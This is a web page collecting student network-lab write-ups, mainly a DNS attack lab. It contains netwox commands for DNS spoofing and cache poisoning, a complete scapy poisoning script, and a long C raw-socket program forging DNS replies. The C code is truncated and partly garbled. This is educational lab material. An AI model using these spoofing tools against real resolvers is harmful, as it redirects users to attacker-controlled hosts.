GVKun编程网logo

计算机网络·实验一:(计算机网络实验11)

22

本文将为您提供关于计算机网络·实验一:的详细介绍,我们还将为您解释计算机网络实验11的相关知识,同时,我们还将为您提供关于android开发需要学计算机网络原理吗?要不要熟练掌握计算机网络还是掌握部分

本文将为您提供关于计算机网络·实验一:的详细介绍,我们还将为您解释计算机网络实验11的相关知识,同时,我们还将为您提供关于android开发 需要学计算机网络原理吗?要不要熟练掌握计算机网络还是掌握部分?、[计算机网络安全实验] DNS攻击实验、[计算机网络安全实验] TCP协议漏洞利用、《计算机网络·自顶向下方法》第七版 第一章 课后习题与问题 答案的实用信息。

本文目录一览:

计算机网络·实验一:(计算机网络实验11)

计算机网络·实验一:(计算机网络实验11)

程序流程:

1.初始化套接字。

2.代理服务器运行,不断监听

3.当客户端连接之后,读取客户端的 HTTP 请求报文,通过请求行中的 URL,解析客户期望访问的原服务器 IP 地址; 创建访问原(目标)服务器的 TCP 套接字转发给客户端

4.将 HTTP 请求报文转发给目 标服务器,接收目标服务器的响应报文

5.当收到响应报文之后,将响应 报文转发给客户端,最后关闭套接字,等待下一次连接。

 

1.使用Socket的应用程序在使用Socket之前必须首先调用 WSAStartup函数 调用WSAStartup(wVersionRequested, &wsaData)启动,

这里的wVersionRequested是WSADATA类型

2.创建套接字: 

 //socket()函数创建与指定的服务提供者绑定套接字
    //参数 af:指定协议的地址家族,通常使用AF_INET
    //参数 type:指定的套接字类型,SOCK_STREAM(TCP), SOCK_DGRAM, SOCK_RAW
    //参数 protocal:套接字使用的协议
    //socket() 函数执行成功,返回新Socket的句柄,调用失败返回INVALID_SOCKET
    //假如调用socket() 函数创建Socket后,该Socket就存在一个命名空间中,但并没有为其指定一个名称
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

3.绑定套接字:

bind(ProxyServer, (SOCKADDR*)&ProxyServerAddr, sizeof(SOCKADDR)) == SOCKET_ERROR;

4.在while循环中监听端口:

初始化时置服务器端的流套接字处于监听状态listen(ProxyServer, SOMAXCONN) == SOCKET_ERROR;

服务程序调用accept函数从处于监听状态的流套接字sd的客户连接请求队列中取出排在最前的一个客户请求,并且创建一个新的套接字来与客户套接字创建连接通道

启动线程来处理客户事件。

5.在线程中分配每个线程的空间,并且处理客户端的http请求。

获取请求之后对http头进行解析,并缓存收到的一切内容,在文件中查找该http中的url并将文件名存为它的url。假如没有这个文件,就发新的请求,假如有,就在本地读取并显示。有缓存时,判断返回的状态码是否是304,若是则将缓存的内容发送给客户端。假如被屏蔽,打印字符串显示被屏蔽的信息,如果被钓鱼,就跳转到被钓鱼的网址,把主机名给修改了。如果过程中出现错误,就关闭该套接字,并结束该条进程。

6.最后关闭代理服务器套接字,调用WSACleanup();结束程序。

 

流程图:

 

android开发 需要学计算机网络原理吗?要不要熟练掌握计算机网络还是掌握部分?

android开发 需要学计算机网络原理吗?要不要熟练掌握计算机网络还是掌握部分?

android开发 需要学计算机网络原理吗?要不要熟练掌握计算机网络还是掌握部分?

[计算机网络安全实验] DNS攻击实验

[计算机网络安全实验] DNS攻击实验

DNS攻击实验

1. IP 说明

你的用户机IP、DNS服务器 IP、攻击机IP

用户机IP: 172.17.0.2/16
本地DNS服务器IP: 172.17.0.3/16
攻击机IP: 172.17.0.1/16

2. 环境配置

2.进行实验环境的配置,包括用户机、DNS服务器配置,验证www.example.com是否解析为你所配置的ip地址。
  1. 客户机: 在 /etc/resolv.conf 中添加一条本地DNS服务器条目

    在这里插入图片描述

  2. 本地DNS服务器: 在配置文件 /etc/bind/named.conf.options 中配置bind9服务器,并关闭DNSSEC

    在这里插入图片描述

  3. 本地DNS服务器: 在 /etc/bind/named.conf 文件中创建区域,并设置正向/反向查找区域文件,并重启bind服务器.

    在这里插入图片描述


    添加文件 /etc/bind/example.com.db

    在这里插入图片描述

    $TTL 3D
    @	IN	SOA	ns.example.com. admin.example.com. (
    		2008111001
    		8H
    		2H
    		4W
    		1D)
    
    @	IN	NS	ns.example.com.
    @	IN	MX	10 mail.example.com.
    
    www	IN	A	192.168.0.101
    mail	IN	A	192.168.0.102
    ns	IN	A	192.168.0.10
    *.example.com.	IN	A 192.168.0.100
    
    添加文件 etc/bin/192.168.0.db

    在这里插入图片描述

    $TTL 3D
    @	IN	SOA	ns.example.com. admin.example.com. (
    		2008111001
    		8H
    		2H
    		4W
    		1D)
    @	IN	NS	ns.example.com.
    
    101	IN	PTR	www.example.com.
    102	IN	PTR	mail.example.com.
    10	IN	PTR	ns.example.com.
    
  • PS: 将区域文件由虚拟机复制到 docker 后,群组和所有人均没有读权限,需要使用 chmod 644 命令,使得群组和所有人对区域文件具有读权限 (否则之后客户机DNS www.example.com的IP地址不会成功).

    在这里插入图片描述


    使用命令:
    $ chmod 644 /etc/bind/example.com.db 
    $ chmod 644 /etc/bind/192.168.0.db
    
    使用后权限群组和所有人对区域文件具有读权限

    在这里插入图片描述


    重启DNS服务器BIND服务

    在这里插入图片描述

  1. 客户机: 使用 dig 命令向本地 DNS 服务器询问 www.example.com 的IP地址,如下图,得到了在本地 DNS 服务器文件中设置的 192.168.0.101

    在这里插入图片描述

3. DNS欺骗攻击 - netwox

用netwox命令实施DNS的用户响应欺骗攻击,列出攻击命令,截图和文字说明攻击过程和结果

攻击原理

客户机在域名查询时,若在本地缓存中未找到对应的IP地址,便会向本地DNS服务器发送DNS请求报文(使用 dig 命令时不会检查本地缓存),请求该域名对应的IP地址,然后本地DNS服务器对该请求进行响应,发送给客户机DNS响应报文.
攻击机通过伪造本地DNS服务器给客户机的DNS响应报文,以达到使用错误的IP地址欺骗客户机为查询域名的IP地址.
由于需要伪装成本地DNS服务器的响应报文,因此在客户机查询需要本地DNS服务器向DNS系统查询且等待时间较长的外网域名时,更容易攻击成功.

攻击命令

$ sudo netwox 105 -h "www.google.com" -H "182.61.200.6" -a "ns.example.com" -A "192.168.0.10" -f "src host 172.17.0.2" -d docker0

其中,105 是 netwox 用于DNS攻击的命令号,攻击的域名为谷歌网站的域名 www.google.com,伪造后其对应的IP是 182.61.200.6 即上述的百度域名的IP(上述2个值均可随意设置,但为了增大成功概率,推荐攻击的域名为外网域名),报文的过滤条件为源IP地址为 172.17.0.2 即来自客户机IP地址的报文,网卡为 docker0.

攻击过程

  1. 攻击机: 使用 dig 查询 www.baidu.com 的IP地址,其中一个是182.61.200.6,使用该IP作为伪造后的IP

    在这里插入图片描述

  2. 攻击机: 使用 netwox 工具构造上述攻击命令,伪造 DNS 响应报文.
  3. 客户机: 使用 dig 命令查询 www.google.com 的IP地址,得到的响应就是伪造的 182.61.200.6 的IP地址. DNS欺骗攻击成功.

    在这里插入图片描述

  4. 攻击机: 在客户机使用 dig 命令时,攻击机上会显示接收到的DNS请求以及伪造的DNS响应. 其中伪造报文中设置的伪造IP和 netwox 命令中一致

    在这里插入图片描述

4. DNS缓存中毒攻击 - netwox

用netwox命令实施DNS缓存中毒攻击,列出攻击命令,截图和文字说明攻击过程和结果

攻击原理

本地DNS服务器在响应客户机的DNS请求时,会先查询本地DNS服务器自身的缓存,若缓存中有客户机请求域名对应的IP地址,则可以直接响应客户机,否则则需要向域名系统进行查询.
在本地DNS服务器对该域名没有缓存向域名系统查询时,攻击机伪造域名系统对本地DNS服务器的响应报文,使得本地DNS服务器获取到错误的IP地址,且会存储到其缓存中. 这样在后续一段时间,本地DNS服务器响应客户机时都会使用错误的IP地址.

攻击命令

$ sudo netwox 105 --hostname "www.baidu.com" --hostnameip "5.6.7.8" --authns "ns.example.com" --authnsip "7.8.9.10" --filter "src host 172.17.0.3" --device docker0 --ttl 600

其中,攻击的域名为百度的域名 www.baidu.com,伪造后其对应的IP是 5.6.7.8,设置解析百度域名的授权DNS服务器的域名为 ns.example.com,授权DNS服务器的IP为 7.8.9.10(上述4个值均可随意设置),报文的过滤条件为源IP地址为 172.17.0.3 即来自本地DNS服务器的报文,网卡为docker0,资源记录的过期时间为 600 秒.

  • PS: 指导书中说此处在 spoofip 字段中选择 raw,即命令中附带选项 -s "raw". 但实际发现覆盖该选项后不能成功攻击,需要去掉该选项.

攻击过程

  1. 服务器: 清空服务器DNS缓存,并重新启动BIND服务
    $ sudo rndc flush        # 清空缓存
    $ sudo service bind9 restart    # 重启BIND服务
    

    @H_513_301@

  2. 攻击机: 使用 netwox 工具构造上述攻击命令,伪造对本地DNS服务器的 DNS 响应报文.
  3. 客户机: 使用 dig 命令查询 www.baidu.com 的IP地址时,获取的是伪造的 5.6.7.8 的IP地址.

    在这里插入图片描述

  4. 攻击机: 在客户机使用 dig 命令时,攻击机上会显示接收到的DNS请求以及伪造的DNS响应. 其中伪造报文中设置的伪造IP和 netwox 命令中一致

    在这里插入图片描述

  5. DNS服务器: 使用如下命令查询本地DNS缓存,可以看到伪造的DNS响应已经存到了缓存中. DNS缓存中毒成功.
    $ sudo rndc dumpdb -cache    # 转储本地DNS服务器的缓存
    $ sudo cat /var/cache/bind/dump.db    # 读取转储后的缓存文件
    

    在这里插入图片描述

5. DNS缓存中毒攻击 - scapy

scapy实施DNS缓存中毒攻击,包括授权域和附加域的毒化,截图和文字说明攻击过程和结果
  1. 服务器: 清空服务器DNS缓存,并重新启动BIND服务
  2. 攻击机: 编写 scapy 脚本
    #!/usr/bin/python2
    from scapy.all import *
    
    local_dns_srv = '172.17.0.3'
    
    def spoof_dns(pkt):
    	if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
    		# old(request) packet: src-local DNS server,dst-global DNS servers
    		# response packet src-global DNS server,dst-local DNS server
    
    		# swap the source and destination IP address
    		IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst)
    
    		# swap the src and dst port number
    		UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    
    		# the answer section
    		# let the response of query domain name(www.example.net) be 10.0.2.5
    		Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
    			ttl=259200, rdata='10.0.2.5')
    
    		# the authority section
    		# add 2 nameserver resource records
    		NSsec1 = DNSRR(rrname='example.net', type='NS', rdata='ns1.example.net')
    		NSsec2 = DNSRR(rrname='example.net', rdata='ns2.example.net')
    
    		# the additional section
    		Addsec1 = DNSRR(rrname='ns1.example.net', rdata='1.2.3.4')
    		Addsec2 = DNSRR(rrname='ns2.example.net', rdata='3.4.5.6')
    		Addsec3 = DNSRR(rrname='www.facebook.com', rdata='5.6.7.8')
    
    		# construct the DNS response packet
    		# let DNS id and question record in response packet
    		#be the same as request packet
    		DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
    			qdcount=1, ancount=1, nscount=2, arcount=2,
    			an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
    
    		# construct the entire IP packet and send it out
    		spoofpkt = IPpkt/UDPpkt/DNSpkt
    		send(spoofpkt)
    
    f='udp and (src host {} and dst port 53)'.format(local_dns_srv)
    # sniff UDP qurey packets and invoke spoof_dns()
    sniff(filter=f, prn=spoof_dns)
    
    其中,通过使用 sniff() 函数捕获报文,报文过滤条件为: UDP类型且源地址是本地DNS服务器,目标端口是DNS的端口号 53 的报文(即本地DNS服务器发出的DNS请求报文). 监听到后调用回调函数 spoof_dns().
    spoof_dns() 中,捕获目标为查询域名 www.example.net 的DNS报文. 对于该报文伪造一个DNS系统向本地DNS服务器的响应报文. 在报文中,将应答部分,即对 www.example.net 的IP应答设置为了 10.0.2.5. 并在授权域部分添加了两个针对 example.net 域的名称服务器的资源记录,以及在附加域中添加了两个对上述名称服务器的IP地址的资源记录,以及一个 www.facebook.com 的IP地址的资源记录.
    攻击机执行该脚本.
  3. 客户机: 使用 dig 命令查询 www.example.net 的IP地址时,获取的是伪造的 10.0.2.5 的IP地址. 并在授权域和附加域中有伪造的两个名称服务器的资源记录.
    但可以看到,构造报文时在附加域中还添加了一个 www.facebook.com 的资源记录,但并没有出现在响应报文中.

    在这里插入图片描述

  4. 攻击机: 在客户机使用 dig 命令时,攻击机上会显示有伪造的DNS响应报文发出

    在这里插入图片描述

  5. DNS服务器: 使用如下命令查询本地DNS缓存,可以看到伪造的DNS响应已经存到了缓存中. 同样的,伪造报文中应答部分的查询域名的IP,授权域和附加域部分的两个名称服务器的域名IP都存到了缓存中,但伪造的附加域中 www.facebook.com 的域名IP并未存储到缓存中.

    在这里插入图片描述

6. 远程DNS缓存中毒攻击配置

远程DNS缓存中毒攻击,实验环境配置,包括本地DNS服务器和攻击者机器的配置.

攻击前配置

  1. DNS服务器: 删除文件 /etc/bind/name.conf 中的 example.com 区域.

    在这里插入图片描述

  2. 攻击机: 在 /etc/resolv.conf 中添加一条本地DNS服务器条目,使得本地DNS服务器作为其默认DNS服务器.

    在这里插入图片描述

  3. DNS服务器: 设置其查询源端口为固定值 33333,以及关闭 DNSSEC,最后清空DNS缓存后重启DNS服务器.

    在这里插入图片描述

结果验证配置

  1. DNS服务器: 配置用于结果验证的假域名.
    /etc/bind/named.conf.default-zones 文件中添加一个攻击者的区域 ns.huanghaoyan.net.

    zone "ns.huanghaoyan.net" {
        type master;
        file "/etc/bind/db.attacker";
    };
    

    在这里插入图片描述

  2. DNS服务器:
    创建文件 /etc/bind/db.attacker 文件,并将以下内容放入其中,让 ns.huanghaoyan.net 指向攻击机IP 172.17.0.1.

    在这里插入图片描述

    ;
    ; BIND data file for local loopback interface
    ;
    $TTL	604800
    @	IN	SOA	localhost. root.localhost. (
    			      2		; Serial
    			 604800		; Refresh
    			  86400		; Retry
    			2419200		; Expire
    			 604800 )	; Negative Cache TTL
    ;
    @	IN	NS	ns.huanghaoyan.net.
    @	IN	A	172.17.0.1
    @	IN	AAAA	::1
    

    并将该文件添加读权限

    $ chmod 644 /etc/bind/db.attacker
    

    设置完成后,如果缓存中毒攻击成功,发送给本地DNS服务器的关于 example.com 主机名的任何 DNS 查询都将被发送到攻击者的机器 172.17.0.1.

  3. 攻击机:
    配置DNS服务器以响应 example.com 的查询.
    /etc/bind/named.conf.local 中添加以下条目:

    在这里插入图片描述


    创建文件 /etc/bind/example.com.zone,内容如下:

    在这里插入图片描述

    $TTL 3D
    @       IN      SOA     ns.example.com. admin.example.com. (
                    2008111001
                    8H
                    2H
                    4W
                    1D)
    
    @       IN      NS      ns.huanghaoyan.net.
    @	IN	MX	10 mail.example.com.
    www     IN      A       1.1.1.1
    mail	IN      A       1.1.1.2
    *.example.com.	IN      A       1.1.1.100
    

    给该文件添加读权限:

    $ sudo chmod 644 /etc/bind/example.com.zone
    

    如果攻击成功,客户机上使用命令 dig www.example.com 得到的响应IP应该为 1.1.1.1.

7. 远程DNS缓存中毒攻击过程

远程缓存中毒攻击,提交攻击代码的流程设计和攻击代码,截图和文字说明攻击过程和结果验证。
  1. 攻击机: 使用 dig www.example.com 命令进行查询,然后使用 Wireshark 进行抓包. 可以发现攻击机会向本地DNS服务器(172.17.0.3)发送DNS请求报文,然后本地DNS服务器会向DNS系统请求该域名. 如下图,DNS系统中IP为 192.5.6.30 的服务器对本地DNS服务器进行了响应. 在远程DNS缓存中毒攻击中,就需要伪造该主机的报文,来使本地DNS服务器中毒.

    在这里插入图片描述

  2. 攻击机: 构造C语言编写的攻击代码如下:

    // ----udp.c------
    // This sample program must be run by root lol!
    //
    // The program is to spoofing tons of different queries to the victim.
    // Use wireshark to study the packets. However,it is not enough for
    // the lab,please finish the response packet and complete the task.
    //
    // Compile command:
    // gcc -lpcap udp.c -o udp
    //
    //
    
    #include <unistd.h>
    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <fcntl.h>
    #include <string.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <libnet.h>
    
    #define PCKT_LEN 8192   // 包长度
    #define FLAG_R 0x8400   // DNS响应报文
    #define FLAG_Q 0x0100   // DNS询问报文
    
    const char* Fake_IP = "\1\1\1\1";
    const char* Global_DNS_IP = "192.5.6.30";
    const char* Local_DNS_IP = "172.17.0.3";
    const char* Attacker_IP = "172.17.0.1";
    
    // Can create separate header file (.h) for all headers' structure
    
    // The IP header's structure IP头结构体
    struct ipheader {
        unsigned char iph_ihl : 4, iph_ver : 4;
        unsigned char iph_tos;
        unsigned short int iph_len;
        unsigned short int iph_ident;
        // unsigned char      iph_flag;
        unsigned short int iph_offset;
        unsigned char iph_ttl;
        unsigned char iph_protocol;
        unsigned short int iph_chksum;
        unsigned int iph_sourceip;
        unsigned int iph_destip;
    };
    
    // UDP header's structure UDP头结构体
    struct udpheader {
        unsigned short int udph_srcport;
        unsigned short int udph_destport;
        unsigned short int udph_len;
        unsigned short int udph_chksum;
    };
    
    // DNS header's structure DNS头结构体
    struct dnsheader {
        unsigned short int query_id;    //事务ID
        unsigned short int flags;       //标志位
        unsigned short int QDCOUNT;     //问题数
        unsigned short int ANCOUNT;     //回答资源记录数
        unsigned short int NSCOUNT;     //权威名称服务器数
        unsigned short int ARCOUNT;     //附加资源记录数
    };
    
    // This structure just for convinience in the DNS packet,
    //because such 4 byte data often appears.
    // DNS常用数据结构体
    struct dataEnd {
        unsigned short int type;
        unsigned short int class;
    };
    // total udp header length: 8 bytes (=64 bits)
    
    // 响应资源记录部分结构体
    struct ansEnd {
        //char* name;
        unsigned short int type;    //查询类型
        //char* type;
        unsigned short int class;   //查询类
        //char* class;
        //unsigned int ttl;
        unsigned short int ttl_l;   //生存时间低位
        unsigned short int ttl_h;   //生存时间高位
        unsigned short int datalen; //资源数据长度
    };
    
    // 名称服务器部分结构体
    struct nsEnd {
        //char* name;
        unsigned short int type;    //查询类型
        unsigned short int class;   //查询类
        //unsigned int ttl;
        unsigned short int ttl_l;   //生存时间低位
        unsigned short int ttl_h;   //生存时间高位
        unsigned short int datalen; //资源数据长度
        //unsigned int ns;
    };
    
    
    unsigned int checksum(uint16_t *usBuff, int isize) {
        unsigned int cksum = 0;
        for (; isize > 1; isize -= 2)     {
            cksum += *usBuff++;
        }
        if (isize == 1)     {
            cksum += *(uint16_t *)usBuff;
        }
    
        return (cksum);
    }
    
    // calculate udp checksum 计算UDP校验和
    uint16_t check_udp_sum(uint8_t *buffer, int len) {
        unsigned long sum = 0;
        struct ipheader *tempI = (struct ipheader *)(buffer);
        struct udpheader *tempH = (struct udpheader *)(buffer + sizeof(struct ipheader));
        struct dnsheader *tempD = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
        tempH->udph_chksum = 0;
        sum = checksum((uint16_t *)&(tempI->iph_sourceip), 8);
        sum += checksum((uint16_t *)tempH, len);
        sum += ntohs(IPPROTO_UDP + len);
    
        sum = (sum >> 16) + (sum & 0x0000ffff);
        sum += (sum >> 16);
    
        return (uint16_t)(~sum);
    }
    
    // Function for checksum calculation. From the RFC,
    // the checksum algorithm is:
    //  "The checksum field is the 16 bit one's complement of the one's
    //  complement sum of all 16 bit words in the header.  For purposes of
    //  computing the checksum,the value of the checksum field is zero."
    unsigned short csum(unsigned short *buf, int nwords) { //
        unsigned long sum;
        for (sum = 0; nwords > 0; nwords--)
            sum += *buf++;
    
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        return (unsigned short)(~sum);
    }
    
    // 构造响应包
    int geneResponse(char *requestURL) {
        // 套接字描述符
        int sd;
        // 数据包的缓冲区
        char buffer[PCKT_LEN];
        // 初始化缓冲区为0
        memset(buffer, 0, PCKT_LEN);
    
        // 初始化包头部指针
        // IP头部指针
        struct ipheader *ip = (struct ipheader *)buffer;
        // UDP头部指针
        struct udpheader *udp = (struct udpheader *)(buffer + sizeof(struct ipheader));
        // DNS头部指针
        struct dnsheader *dns = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
        // 初始化DNS数据部分指针
        char *data = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) +
                      sizeof(struct dnsheader));
    
        ///构造dns包
        // 设置DNS的flag位
        dns->flags = htons(FLAG_R); //响应报文
        dns->QDCOUNT = htons(1);    //问题数
        dns->ANCOUNT = htons(1);    //回答资源记录数
        dns->NSCOUNT = htons(1);    //名称服务器资源记录数
        dns->ARCOUNT = htons(1);    //附件资源记录数
    
        //查询部分
        strcpy(data, requestURL);   //查询的URL
        int length = strlen(data) + 1;
    
        struct dataEnd *end = (struct dataEnd *)(data + length);
        end->type = htons(1);       // A类型-域名->IP
        end->class = htons(1);      // IN类型-因特网IP地址 
    
        //回复资源记录部分
        char *ans = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                     + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length);
        strcpy(ans, requestURL);    //回复的URL
        int anslength = strlen(ans) + 1;
    
        struct ansEnd *ansend = (struct ansEnd *)(ans + anslength);
        ansend->type = htons(1);        //A类型
        ansend->class = htons(1);       //IN类型
        ansend->ttl_l = htons(0x00);    //生存时间
        ansend->ttl_h = htons(0xFFFF);  //tll,即有效的时间
        ansend->datalen = htons(4);     //回复的内容的长度
    
        char *ansaddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader)
                         + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length
                         + sizeof(struct ansEnd) + anslength);
        strcpy(ansaddr, Fake_IP);   //伪造的域名对应IP
        int addrlen = strlen(ansaddr);
    
        //ns域名服务器资源记录部分
        char *ns = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                    + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length 
                    + sizeof(struct ansEnd) + anslength + addrlen);
        //待解析的域名
        strcpy(ns, "\7example\3com");   // .example.com
        int nslength = strlen(ns) + 1;
    
        struct nsEnd *nsend = (struct nsEnd *)(ns + nslength);
        nsend->type = htons(2);
        nsend->class = htons(1);
        nsend->ttl_l = htons(0x00);
        nsend->ttl_h = htons(0xFFFF);   //tll,生存时间
        //数据的长度,为nsname的长度+1
        nsend->datalen = htons(23);
    
        char *nsname = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                        + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length 
                        + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd)
                        + nslength);
        //伪造的权威名称服务器
        strcpy(nsname, "\2ns\013huanghaoyan\3net");   //.ns.huanghaoyan.net
        int nsnamelen = strlen(nsname) + 1;
    
        //附加资源记录部分
        char *ar = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                    + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length 
                    + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) 
                    + nslength + nsnamelen);
        strcpy(ar, "\2ns\013huanghaoyan\3net");   //.ns.huanghaoyan.net
        int arlength = strlen(ar) + 1;
    
        struct ansEnd *arend = (struct ansEnd *)(ar + arlength);
        arend->type = htons(1);
        arend->class = htons(1);
        arend->ttl_l = htons(0x00);
        arend->ttl_h = htons(0xFFFF);
        arend->datalen = htons(4);
    
        char *araddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                        + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length 
                        + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) 
                        + nslength + nsnamelen + arlength + sizeof(struct ansEnd));
        //172.17.0.1
        araddr[0]='\xac',araddr[1]='\x11',araddr[2]='\0',araddr[3]='\1';
        int araddrlen = strlen(araddr)+2;
    
        /dns包的构造到此完毕///
    
        //构造ip包
    
        struct sockaddr_in sin, din;
        int one = 1;
        const int *val = &one;
        sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
        if (sd < 0)
            printf("socket error\n");
        sin.sin_family = AF_INET;
        din.sin_family = AF_INET;
    
        //端口号
        sin.sin_port = htons(33333);
        din.sin_port = htons(53);
    
        //IP地址
        sin.sin_addr.s_addr = inet_addr(Local_DNS_IP);
        //example.com的域名服务器的地址,可通过抓包获得
        din.sin_addr.s_addr = inet_addr(Global_DNS_IP); 
        ip->iph_ihl = 5;
        ip->iph_ver = 4;
        ip->iph_tos = 0;
    
        unsigned short packetLength = (sizeof(struct ipheader) + sizeof(struct udpheader) 
                                        + sizeof(struct dnsheader) + length 
                                        + sizeof(struct dataEnd) + anslength 
                                        + sizeof(struct ansEnd) + nslength 
                                        + sizeof(struct nsEnd) + addrlen + nsnamelen 
                                        + arlength + sizeof(struct ansEnd) + araddrlen);
                                        // length + dataEnd_size == UDP_payload_size
    
        ip->iph_len = htons(packetLength);
        ip->iph_ident = htons(rand());
        ip->iph_ttl = 110;
        ip->iph_protocol = 17; // UDP
    
        // 该地值需要抓包确定
        ip->iph_sourceip = inet_addr(Global_DNS_IP);
    
        // 目标IP地址
        ip->iph_destip = inet_addr(Local_DNS_IP);
    
        // Fabricate the UDP header. Source port number,redundant
        // UDP头部,源端口号和冗余
        // 源端口号和目的端口号
        udp->udph_srcport = htons(53); 
        udp->udph_destport = htons(33333);
        // udph_len = udp_header_size + udp_payload_size
        udp->udph_len = htons(sizeof(struct udpheader) + sizeof(struct dnsheader) 
                        + length + sizeof(struct dataEnd) + anslength + sizeof(struct ansEnd) 
                        + nslength + sizeof(struct nsEnd) + addrlen + nsnamelen + arlength 
                        + sizeof(struct ansEnd) + araddrlen); 
                        
        // Calculate the checksum for integrity//
        //计算校验和
        ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) 
                        + sizeof(struct udpheader));
        udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
    
        // Inform the kernel do not fill up the packet structure. we will build our own...
        if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
            printf("error\n");
            exit(-1);
        }
    
        int count = 0;
        int trans_id = 3000;
        while (count < 100) {
    
            // This is to generate different query in xxxxx.example.edu
            dns->query_id = trans_id + count;   //设置DNS事务ID
            //重新计算UDP校验和
            udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
    
            //发送数据包
            if (sendto(sd, buffer, packetLength, (struct sockaddr *)&sin, sizeof(sin)) < 0)
                printf("packet send error %d which means %s\n", errno, strerror(errno));
            count++;
        }
        close(sd);
        return 0;
    }
    
    
    int main(int argc, char *argv[]) {
        // This is to check the argc number
        // 参数校验
        // if (argc != 3)  {
        //     printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first \
        //             to last:src_IP  dest_IP  \n");
        //     exit(-1);
        // }
    
        // socket descriptor
        //套接字描述符
        int sd;
        // buffer to hold the packet
        //报文缓冲区
        char buffer[PCKT_LEN];
        // set the buffer to 0 for all bytes
        memset(buffer, PCKT_LEN);
    
        // Our own headers' structures
        // 初始化包头部指针
        struct ipheader *ip = (struct ipheader *)buffer;
        struct udpheader *udp = (struct udpheader *)(buffer + sizeof(struct ipheader));
        struct dnsheader *dns = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
    
        // data is the pointer points to the first byte of the dns payload
        char *data = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader));
    
        
        // dns fields(UDP payload field)
        // relate to the lab,you can change them. begin:
        
    
        //The flag you need to set
        dns->flags = htons(FLAG_Q);     // DNS询问报文
        //only 1 query,so the count should be one. 只有一条询问
        dns->QDCOUNT = htons(1);
    
        //query string
        strcpy(data, "\5aaaaa\7example\3com");  //aaaaa.example.com
        int length = strlen(data) + 1;
    
        //this is for convinience to get the struct type write the 4bytes in a more organized way.
        struct dataEnd *end = (struct dataEnd *)(data + length);
        end->type = htons(1);
        end->class = htons(1);
    
        /
        //
        // DNS format,relate to the lab,you need to change them,end
        //
        //
    
        /*************************************************************************************
    	Construction of the packet is done. 
    	Now focus on how to do the settings and send the packet we have composed out
    	***************************************************************************************/
        // Source and destination addresses: IP and port
    
        struct sockaddr_in sin, din;
        int one = 1;
        const int *val = &one;
        // 随机生成DNS事务ID
        dns->query_id = rand(); // transaction ID for the query packet,use random #
    
        // Create a raw socket with UDP protocol
        sd = socket(PF_INET, IPPROTO_UDP);
    
        if (sd < 0) // if socket fails to be created
            printf("socket error\n");
    
        // The source is redundant,may be used later if needed
        // The address family
        sin.sin_family = AF_INET;
        din.sin_family = AF_INET;
    
        // Port numbers
        sin.sin_port = htons(33333);
        din.sin_port = htons(53);
    
        // IP addresses
        // src_IP
        sin.sin_addr.s_addr = inet_addr(Local_DNS_IP); // this is the second argument we input into the program
        // dest_IP
        din.sin_addr.s_addr = inet_addr(Attacker_IP); // this is the first argument we input into the program
    
        // Fabricate the IP header or we can use the
        // standard header structures but assign our own values.
        ip->iph_ihl = 5;
        ip->iph_ver = 4;
        ip->iph_tos = 0;                                                                                                                                     // Low delay
        unsigned short packetLength = (sizeof(struct ipheader) + sizeof(struct udpheader) 
                                       + sizeof(struct dnsheader) + length + sizeof(struct dataEnd)); // length + dataEnd_size == UDP_payload_size
        ip->iph_len = htons(packetLength);
        ip->iph_ident = htons(rand()); // we give a random number for the identification#
        ip->iph_ttl = 110;             // hops
        ip->iph_protocol = 17;         // UDP
    
        // Source IP address,can use spoofed address here!!!
        ip->iph_sourceip = inet_addr(Attacker_IP);
    
        // The destination IP address
        ip->iph_destip = inet_addr(Local_DNS_IP);
    
        // Fabricate the UDP header. Source port number,redundant
        // 随机使用一个源端口号
        udp->udph_srcport = htons(40000 + rand() % 10000); // source port number,I make them random... remember the lower number may be reserved
    
        // Destination port number
        udp->udph_destport = htons(53);
        udp->udph_len = htons(sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd)); // udp_header_size + udp_payload_size
    
        // Calculate the checksum for integrity//
        ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));
        udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
    
        /*******************************************************************************8
    Tips
    
    the checksum is quite important to pass the checking integrity. You need 
